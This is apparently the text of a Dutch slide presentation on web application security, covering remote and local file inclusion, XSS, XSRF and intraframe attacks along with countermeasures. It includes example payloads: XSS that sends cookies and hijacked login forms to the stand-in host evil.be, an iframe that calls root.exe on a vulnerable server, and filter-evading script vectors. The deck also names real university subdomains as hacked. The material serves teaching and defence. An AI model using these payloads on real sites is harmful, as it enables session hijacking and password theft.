Webapplication Security
Over mijzelf ● ●
7 jaar in websecurity Oprichter van VirtuaX security ●
●
Cfr. Bugtraq
Recente hacks ● ● ● ●
hak5.org wina.ugent.be vtk.ugent.be ...
Aantal vulnerable websites
Types vulnerable websites
Hoe komt dit ?
● ● ●
Veel amateur-coders Geen basis/idee van security Beveiligen = “moeilijk” Hacken = gemakelijk
Deel 1: File Inclusions
File Inclusions 1. Remote file inclusion Includen van externe bestanden Draaien shell ! 2. Local file inclusion Includen van lokale bestanden Lekken van gevoelige gegevens Source code disclosure
Normale situatie SERVER FILE
SCRIPT
CLIENT
Remote File Inclusion SERVER FILE
SCRIPT
EVIL FILE
HACKER
Onveilige script index.php?p=bleh.txt Output: inhoud van bleh.txt
Voorbeeld Remote File Inclusion
http://127.0.0.1/inclusion/
Local File Inclusion SERVER FILE
SCRIPT
SENSITIVE FILE
HACKER
Onveilige script index.php?p=bleh.txt Output: inhoud van bleh.txt
Voorbeeld Local File Inclusion
http://127.0.0.1/inclusion/
Oplossing
Conclusie file inclusions ● ● ●
php.ini configureren Input niet vertrouwen Input niet rechtstreeks in functie steken
Einde File Inclusion Vragen?
Denken zoals een hacker ...
Must own noob ..
Typische authenticatie Admin
PASWOORD COOKIE
Admin
COOKIE + DATA DATA
Server User lvl: NOBODY
Server User lvl: ADMIN
Hoe admin worden?
Paswoord bemachtigen >> File inclusion << >> SQL injections << Paswoord veranderen >> XSRF << Cookie bemachtigen >> XSS <<
Deel 2: XSS
XSS Admin
PASWOORD
Server User lvl: NOBODY
+ DATA
Admin
DATA
Server User lvl: ADMIN
XSS – Cross Site Scripting ●
Cookie setting ● ●
●
Cookie stealing ● ●
●
Admin bezoekt www.host.be Admin krijgt Admin bezoekt <script> gestolen
Session riding ●
Hacker gebruikt
Hoe exploiten? (3) Admin
PASWOORD
www.host.be User lvl: NOBODY
Admin
+ DATA DATA
<script> User lvl: ADMIN
Hacker
+ DATA DATA
Server User lvl: ADMIN
Onveilige script index.php?cat=Immo Output: Categorie: Immo
Hoe exploiten? Input Vector zoeken vb: index.php?cat= <script> document.location= ”http://evil.be/script.php?id=” +document.cookie; Output: Categorie:<script> ...
Hoe exploiten? (2) Input Vector als “' disabled (PHP5): <script> document.location= String.fromCharCode(..,..,..)+ document.cookie;
Voorbeeld XSS (1)
http://127.0.0.1/xss/xss.php
Countermeasures (1) ”,””,_GET['cat']); echo “Categorie: “.$categorie; ... ?>
NIET VEILIG
Voorbeeld XSS (2)
http://127.0.0.1/xss/xss2.php
Countermeasures (2)
VEILIG
Voorbeeld XSS (3)
http://127.0.0.1/xss/xss3.php
<script> plaatsing ●
Non persistent ● ●
●
Niet opgeslagen (tijdelijk in URL) Zie vorige vb
Persistent ●
Script definitief op server zetten vb. Guestbook, Forum, Profiel ... vb. boudewijn.ugent.be
All input is evil ● ●
Niet altijd in tekst-variabelen Internet Explorer: bug van 1995 – NOG niet opgelost ● ●
Content-type wordt genegeerd IE bepaalt zelf content-type
IE Content-type exploit ● ● ●
HTML/JavaScript-code uploaden Content-type aanpassen Bestand laden in IE PERSISTENT
Voorbeeld XSS (4)
http://boudewijn.ugent.be
Countermeasures (2)
VEILIG
Verder mogelijkheden (1) Client geposte informatie laten doorsturen naar hacker
Verder mogelijkheden (2) Client andere sites laten aanvallen /hello.php?name= <iframe src= “http://vulnerable/root.exe?/c+dir”>
= Ideale proxy voor hacker
Verdere mogelijkheden (3) Andere Input Vectors:
<SCRIPT SRC=locatie/xss.js /> <SCR\0IPT>alert("XSS")
cfr: http://ha.ckers.org/xss.html
Enkele limitaties ● ● ● ●
Eenmalig, aanval móet lukken Sessions kunnen eindigen JavaScript/ActionScript enabled? Soms IE/... vereist
Conclusie vs XSS ● ● ●
htmlentities() e.d. gebruiken Content/Mime-type controleren All input is evil!
Einde XSS Vragen?
Deel 3: XSRF
XSRF – Cross Site Request Forgery ●
Valt onder “hotlinking attacks” ● ● ●
●
Cross-domain linken Gevaar herkent sinds begin '90 Fout komt in veel technologieën voor
“The hidden enemy” ● ●
Moeilijk te herkennen Moeilijk te beveiligen
XSRF – Cross Site Request Forgery ●
Zoeken naar vuln pagina ●
●
UPDATE DB pagina
Request Forgery ● ●
Admin bezoekt onveilige script Paswoord/E-mail verandert
Typische profielpagina Admin
DATA +
Server
DATA User lvl: ADMIN
UPDATE DATA
DB
profiel.php
Idee (1)
GEEN SESSION-ID
Idee (2) ●
Admin naar onze pagina laten gaan ●
●
Admin heeft immers session-id
Form automatisch laten verzenden ●
JavaScript form.submit();
Idee (2) code <script> document.getElementById(“frm”) .submit();
Voorbeeld XSRF
http://boudewijn.ugent.be
XSS + XSRF = krachtig ●
Password managers ● ●
Vullen automatisch paswoord in Als er XSS is, <script> insteken Doel: actie form veranderen Doel2: form verzenden
Voorbeeld-code login.php?cat= <script> var a = document.getElemenById(“frm”); a.action=”http://evil.be/script.php”; setTimeOut(a.submit(),500);
Output: Pagina verstuurd wachtwoord naar http://evil.be/script.php
Countermeasures vs XSRF ●
Referer checken ● ●
●
$_GET['referer'] Counter: XSS + XSRF vinden
Oud paswoord vragen voor elke UPDATE
Einde XSRF Vragen?
Deel 4: Geavanceerdere technieken
IntraFrame attacks ● ●
XSS is niet beperkt tot één pagina DOM-security model zegt: ●
●
<script> mag enkel informatie op zelfde host lezen/aanpassen <script> heeft volledige controle over pagina's geladen in frames ZOLANG document.domain geldig is
IntraFrame attacks VICTIM BROWSER
<script> ...
SERVER HACKER <iframe src=”evil.be/script.php...”>
<iframe> sensitive document op server VULNERABLE SERVER
IntraFrame attacks ●
Combineren van aanvallen
Meerdere submits() mogelijk ● vb: XSRF, e-mail veranderen Paswoord requesten Evil actie uitvoeren ●
●
●
Reageren op gekregen informatie mogelijk via bvb. Ajax Mogelijk om logger te maken
IntraFrame sploiter VICTIM BROWSER
<script> ...
SERVER HACKER <iframe src=”evil.be/script.php...”>
<iframe> sensitive document op server VULNERABLE SERVER
Voorbeeld IntraFrame attack (1)
http://127.0.0.1/intraframe/sploiter/
IntraFrame logger VICTIM BROWSER
<script> ...
SERVER HACKER <iframe src=”evil.be/script.php...”>
<iframe>
modified document VULNERABLE SERVER
Voorbeeld IntraFrame attack (2)
http://127.0.0.1/intraframe/logger/
Einde geavanceerde technieken Vragen?
Slot ●
Verdere vragen ?
[email protected] ● http://ciri.be/ ● http://www.virtuax.be ●